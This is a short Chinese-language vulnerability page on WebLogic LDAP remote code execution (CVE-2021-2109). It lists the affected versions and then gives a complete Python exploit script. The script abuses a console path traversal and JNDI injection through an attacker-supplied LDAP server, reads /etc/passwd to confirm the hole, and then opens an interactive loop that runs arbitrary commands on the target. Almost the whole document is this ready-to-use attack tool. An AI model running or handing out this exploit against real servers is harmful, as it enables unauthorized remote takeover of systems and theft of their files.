Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109

漏洞影响

WebLogic Server 10.3.6.0.0

WebLogic Server 12.1.3.0.0

WebLogic Server 12.2.1.3.0

WebLogic Server 12.2.1.4.0

WebLogic Server 14.1.1.0.0

POC

注意参数格式 Ldap >>> ldap://xxx.xxx.xxx;xxx:1389 中的分号 <br>
如果使用其他的利用Ldap服务请自行更改 POC关键字 <br>
此POC仅仅检验有未授权的情况 <br>

import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mVersion: Weblogic 多个版本                                           \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+  \03336mLDAP        >>> ldap://xxx.xxx.xxx;xxx:1389                         \0330m')
    print('+------------------------------------------')

def POC_1(target_url, ldap_url, cmd):
    vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
    print('\03336mo 正在请求: {}'.format(vuln_url))
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cmd": cmd
    }
    try:
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "root:" in response.text:
            print("\03332mo 目标{}存在漏洞 \0330m".format(target_url))
            print("\03332mo 响应为:\n{} \0330m".format(response.text))
        else:
            print("\03331mx 命令执行失败 \0330m")
            sys.exit(0)
    except Exception as e:
        print("\03331mx 请检查参数和Ldap服务是否正确 \0330m", e)

def POC_2(target_url, ldap_url, cmd):
    vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
    print('\03336mo 正在请求: {}'.format(vuln_url))
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cmd": cmd
    }
    try:
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\03332mo 响应为:\n{} \0330m".format(response))
    except Exception as e:
        print("\03331mx 请检查参数和Ldap服务是否正确 \0330m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
    ldap_url = str(input("\03335mLdap >>> \0330m"))
    POC_1(target_url, ldap_url, cmd="cat /etc/passwd")

    while True:
        cmd = input("\03335mCmd >>> \0330m")
        if cmd == "exit":
            sys.exit(0)
        else:
            POC_2(target_url, ldap_url, cmd)